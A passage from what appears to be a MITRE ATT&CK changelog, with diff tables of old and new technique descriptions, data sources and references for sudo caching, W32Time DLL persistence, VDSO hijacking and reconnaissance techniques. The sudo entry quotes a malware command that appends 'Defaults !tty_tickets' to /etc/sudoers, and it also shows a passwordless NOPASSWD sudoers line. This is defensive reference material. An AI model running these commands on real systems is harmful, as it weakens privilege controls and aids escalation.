| modified | 2020-03-27 01:03:26.306000+00:00 | 2022-03-14 16:28:19.781000+00:00 |
| description | Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Metadata | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search private | t | 1 | Adversaries may search private data from threat intelligence |
| > | data from threat intelligence vendors for information that | > | vendors for information that can be used during targeting. | ||
| > | can be used during targeting. Threat intelligence vendors ma | > | Threat intelligence vendors may offer paid feeds or portals | ||
| > | y offer paid feeds or portals that offer more data than what | > | that offer more data than what is publicly reported. Althoug | ||
| > | is publicly reported. Although sensitive details (such as c | > | h sensitive details (such as customer names and other identi | ||
| > | ustomer names and other identifiers) may be redacted, this i | > | fiers) may be redacted, this information may contain trends | ||
| > | nformation may contain trends regarding breaches such as tar | > | regarding breaches such as target industries, attribution cl | ||
| > | get industries, attribution claims, and successful TTPs/coun | > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | ||
| > | termeasures.(Citation: D3Secutrity CTI Feeds) Adversaries m | > | rity CTI Feeds) Adversaries may search in private threat in | ||
| > | ay search in private threat intelligence vendor data to gath | > | telligence vendor data to gather actionable information. Thr | ||
| > | er actionable information. Threat actors may seek informatio | > | eat actors may seek information/indicators gathered about th | ||
| > | n/indicators gathered about their own campaigns, as well as | > | eir own campaigns, as well as those conducted by other adver | ||
| > | those conducted by other adversaries that may align with the | > | saries that may align with their target industries, capabili | ||
| > | ir target industries, capabilities/objectives, or other oper | > | ties/objectives, or other operational concerns. Information | ||
| > | ational concerns. Information reported by vendors may also r | > | reported by vendors may also reveal opportunities other form | ||
| > | eveal opportunities other forms of reconnaissance (ex: [Sear | > | s of reconnaissance (ex: [Search Open Websites/Domains](http | ||
| > | ch Open Websites/Domains](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1593)), establishing operat | ||
| > | s/T1593)), establishing operational resources (ex: [Develop | > | ional resources (ex: [Develop Capabilities](https://attack.m | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1588)), and/or initial access ( | ||
| > | 588)), and/or initial access (ex: [Exploit Public-Facing App | > | ex: [Exploit Public-Facing Application](https://attack.mitre | ||
| > | lication](https://attack.mitre.org/techniques/T1190) or [Ext | > | .org/techniques/T1190) or [External Remote Services](https:/ | ||
| > | ernal Remote Services](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1133)). | ||
| > | 1133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:53.678000+00:00 | 2021-04-15 03:45:30.862000+00:00 |
| description | Before compromising a victim, adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse time providers to execute DLLs when th | t | 1 | Adversaries may abuse time providers to execute DLLs when th |
| > | e system boots. The Windows Time service (W32Time) enables t | > | e system boots. The Windows Time service (W32Time) enables t | ||
| > | ime synchronization across and within domains. (Citation: Mi | > | ime synchronization across and within domains.(Citation: Mic | ||
| > | crosoft W32Time Feb 2018) W32Time time providers are respons | > | rosoft W32Time Feb 2018) W32Time time providers are responsi | ||
| > | ible for retrieving time stamps from hardware/network resour | > | ble for retrieving time stamps from hardware/network resourc | ||
| > | ces and outputting these values to other network clients. (C | > | es and outputting these values to other network clients.(Cit | ||
| > | itation: Microsoft TimeProvider) Time providers are impleme | > | ation: Microsoft TimeProvider) Time providers are implement | ||
| > | nted as dynamic-link libraries (DLLs) that are registered in | > | ed as dynamic-link libraries (DLLs) that are registered in t | ||
| > | the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentCont | > | he subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentContro | ||
| > | rolSet\Services\W32Time\TimeProviders\</code>. (Citation: Mi | > | lSet\Services\W32Time\TimeProviders\</code>.(Citation: Micro | ||
| > | crosoft TimeProvider) The time provider manager, directed by | > | soft TimeProvider) The time provider manager, directed by th | ||
| > | the service control manager, loads and starts time provider | > | e service control manager, loads and starts time providers l | ||
| > | s listed and enabled under this key at system startup and/or | > | isted and enabled under this key at system startup and/or wh | ||
| > | whenever parameters are changed. (Citation: Microsoft TimeP | > | enever parameters are changed.(Citation: Microsoft TimeProvi | ||
| > | rovider) Adversaries may abuse this architecture to establi | > | der) Adversaries may abuse this architecture to establish p | ||
| > | sh persistence, specifically by registering and enabling a m | > | ersistence, specifically by registering and enabling a malic | ||
| > | alicious DLL as a time provider. Administrator privileges ar | > | ious DLL as a time provider. Administrator privileges are re | ||
| > | e required for time provider registration, though execution | > | quired for time provider registration, though execution will | ||
| > | will run in context of the Local Service account. (Citation: | > | run in context of the Local Service account.(Citation: Gith | ||
| > | Github W32Time Oct 2017) | > | ub W32Time Oct 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 15:24:26.476000+00:00 | 2022-04-20 16:31:16.715000+00:00 |
| description | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017) | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017) |
| external_references[1]['source_name'] | Microsoft W32Time Feb 2018 | Github W32Time Oct 2017 |
| external_references[1]['description'] | Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018. | Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018. |
| external_references[1]['url'] | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top | https://github.com/scottlundgren/w32time |
| external_references[2]['source_name'] | Microsoft TimeProvider | Microsoft W32Time May 2017 |
| external_references[2]['description'] | Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. | Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018. |
| external_references[2]['url'] | https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings |
| external_references[3]['source_name'] | Github W32Time Oct 2017 | Microsoft W32Time Feb 2018 |
| external_references[3]['description'] | Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018. | Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018. |
| external_references[3]['url'] | https://github.com/scottlundgren/w32time | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top |
| external_references[4]['source_name'] | Microsoft W32Time May 2017 | Microsoft TimeProvider |
| external_references[4]['description'] | Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018. | Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. |
| external_references[4]['url'] | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings | https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx |
| x_mitre_data_sources[0] | API monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Binary file metadata | Command: Command Execution |
| x_mitre_data_sources[2] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)
The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns) | Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)
The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:59:59.124000+00:00 | 2021-10-18 17:05:44.321000+00:00 |
| x_mitre_contributors[1] | Christoffer Strömblad | Christoffer Strömblad |
| x_mitre_data_sources[0] | Application logs | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Application Log: Application Log Content |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:43:41.298000+00:00 | 2022-05-05 05:00:37.443000+00:00 |
| external_references[1]['source_name'] | engima0x3 DNX Bypass | Exploit Monday WinDbg |
| external_references[1]['description'] | Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017. | Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. |
| external_references[1]['url'] | https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ | http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html |
| external_references[2]['source_name'] | engima0x3 RCSI Bypass | LOLBAS Tracker |
| external_references[2]['description'] | Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017. | LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019. |
| external_references[2]['url'] | https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ | https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ |
| external_references[3]['source_name'] | Exploit Monday WinDbg | engima0x3 RCSI Bypass |
| external_references[3]['description'] | Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. | Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017. |
| external_references[3]['url'] | http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html | https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ |
| external_references[4]['source_name'] | LOLBAS Tracker | engima0x3 DNX Bypass |
| external_references[4]['description'] | LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019. | Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017. |
| external_references[4]['url'] | https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ | https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_defense_bypassed[0] | Application control | Application Control |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via VDS | t | 1 | Adversaries may inject malicious code into processes via VDS |
| > | O hijacking in order to evade process-based defenses as well | > | O hijacking in order to evade process-based defenses as well | ||
| > | as possibly elevate privileges. Virtual dynamic shared obje | > | as possibly elevate privileges. Virtual dynamic shared obje | ||
| > | ct (vdso) hijacking is a method of executing arbitrary code | > | ct (vdso) hijacking is a method of executing arbitrary code | ||
| > | in the address space of a separate live process. VDSO hija | > | in the address space of a separate live process. VDSO hija | ||
| > | cking involves redirecting calls to dynamically linked share | > | cking involves redirecting calls to dynamically linked share | ||
| > | d libraries. Memory protections may prevent writing executab | > | d libraries. Memory protections may prevent writing executab | ||
| > | le code to a process via [Ptrace System Calls](https://attac | > | le code to a process via [Ptrace System Calls](https://attac | ||
| > | k.mitre.org/techniques/T1055/008). However, an adversary may | > | k.mitre.org/techniques/T1055/008). However, an adversary may | ||
| > | hijack the syscall interface code stubs mapped into a proce | > | hijack the syscall interface code stubs mapped into a proce | ||
| > | ss from the vdso shared object to execute syscalls to open a | > | ss from the vdso shared object to execute syscalls to open a | ||
| > | nd map a malicious shared object. This code can then be invo | > | nd map a malicious shared object. This code can then be invo | ||
| > | ked by redirecting the execution flow of the process via pat | > | ked by redirecting the execution flow of the process via pat | ||
| > | ched memory address references stored in a process' global o | > | ched memory address references stored in a process' global o | ||
| > | ffset table (which store absolute addresses of mapped librar | > | ffset table (which store absolute addresses of mapped librar | ||
| > | y functions).(Citation: ELF Injection May 2009) (Citation: B | > | y functions).(Citation: ELF Injection May 2009)(Citation: Ba | ||
| > | acktrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall | > | cktrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 201 | ||
| > | 2014) Running code in the context of another process may al | > | 4) Running code in the context of another process may allow | ||
| > | low access to the process's memory, system/network resources | > | access to the process's memory, system/network resources, a | ||
| > | , and possibly elevated privileges. Execution via VDSO hijac | > | nd possibly elevated privileges. Execution via VDSO hijackin | ||
| > | king may also evade detection from security products since t | > | g may also evade detection from security products since the | ||
| > | he execution is masked under a legitimate process. | > | execution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:45.232000+00:00 | 2022-02-24 15:21:39.761000+00:00 |
| description | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | System calls | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Module: Module Load |
| x_mitre_detection | Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may acquire inform | t | 1 | Adversaries may acquire information about vulnerabilities th |
| > | ation about vulnerabilities that can be used during targetin | > | at can be used during targeting. A vulnerability is a weakne | ||
| > | g. A vulnerability is a weakness in computer hardware or sof | > | ss in computer hardware or software that can, potentially, b | ||
| > | tware that can, potentially, be exploited by an adversary to | > | e exploited by an adversary to cause unintended or unanticip | ||
| > | cause unintended or unanticipated behavior to occur. Advers | > | ated behavior to occur. Adversaries may find vulnerability i | ||
| > | aries may find vulnerability information by searching open d | > | nformation by searching open databases or gaining access to | ||
| > | atabases or gaining access to closed vulnerability databases | > | closed vulnerability databases.(Citation: National Vulnerabi | ||
| > | .(Citation: National Vulnerability Database) An adversary m | > | lity Database) An adversary may monitor vulnerability discl | ||
| > | ay monitor vulnerability disclosures/databases to understand | > | osures/databases to understand the state of existing, as wel | ||
| > | the state of existing, as well as newly discovered, vulnera | > | l as newly discovered, vulnerabilities. There is usually a d | ||
| > | bilities. There is usually a delay between when a vulnerabil | > | elay between when a vulnerability is discovered and when it | ||
| > | ity is discovered and when it is made public. An adversary m | > | is made public. An adversary may target the systems of those | ||
| > | ay target the systems of those known to conduct vulnerabilit | > | known to conduct vulnerability research (including commerci | ||
| > | y research (including commercial vendors). Knowledge of a vu | > | al vendors). Knowledge of a vulnerability may cause an adver | ||
| > | lnerability may cause an adversary to search for an existing | > | sary to search for an existing exploit (i.e. [Exploits](http | ||
| > | exploit (i.e. [Exploits](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588/005)) or to attempt to | ||
| > | s/T1588/005)) or to attempt to develop one themselves (i.e. | > | develop one themselves (i.e. [Exploits](https://attack.mitr | ||
| > | [Exploits](https://attack.mitre.org/techniques/T1587/004)). | > | e.org/techniques/T1587/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 01:54:39.868000+00:00 | 2021-04-15 03:16:32.119000+00:00 |
| description | Before compromising a victim, adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). | Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may scan victims f | t | 1 | Adversaries may scan victims for vulnerabilities that can be |
| > | or vulnerabilities that can be used during targeting. Vulner | > | used during targeting. Vulnerability scans typically check | ||
| > | ability scans typically check if the configuration of a targ | > | if the configuration of a target host/application (ex: softw | ||
| > | et host/application (ex: software and version) potentially a | > | are and version) potentially aligns with the target of a spe | ||
| > | ligns with the target of a specific exploit the adversary ma | > | cific exploit the adversary may seek to use. These scans ma | ||
| > | y seek to use. These scans may also include more broad atte | > | y also include more broad attempts to [Gather Victim Host In | ||
| > | mpts to [Gather Victim Host Information](https://attack.mitr | > | formation](https://attack.mitre.org/techniques/T1592) that c | ||
| > | e.org/techniques/T1592) that can be used to identify more co | > | an be used to identify more commonly known, exploitable vuln | ||
| > | mmonly known, exploitable vulnerabilities. Vulnerability sca | > | erabilities. Vulnerability scans typically harvest running s | ||
| > | ns typically harvest running software and version numbers vi | > | oftware and version numbers via server banners, listening po | ||
| > | a server banners, listening ports, or other network artifact | > | rts, or other network artifacts.(Citation: OWASP Vuln Scanni | ||
| > | s.(Citation: OWASP Vuln Scanning) Information from these sca | > | ng) Information from these scans may reveal opportunities fo | ||
| > | ns may reveal opportunities for other forms of reconnaissanc | > | r other forms of reconnaissance (ex: [Search Open Websites/D | ||
| > | e (ex: [Search Open Websites/Domains](https://attack.mitre.o | > | omains](https://attack.mitre.org/techniques/T1593) or [Searc | ||
| > | rg/techniques/T1593) or [Search Open Technical Databases](ht | > | h Open Technical Databases](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1596)), establishing oper | > | ues/T1596)), establishing operational resources (ex: [Develo | ||
| > | ational resources (ex: [Develop Capabilities](https://attack | > | p Capabilities](https://attack.mitre.org/techniques/T1587) o | ||
| > | .mitre.org/techniques/T1587) or [Obtain Capabilities](https: | > | r [Obtain Capabilities](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1588)), and/or initial access | > | T1588)), and/or initial access (ex: [Exploit Public-Facing A | ||
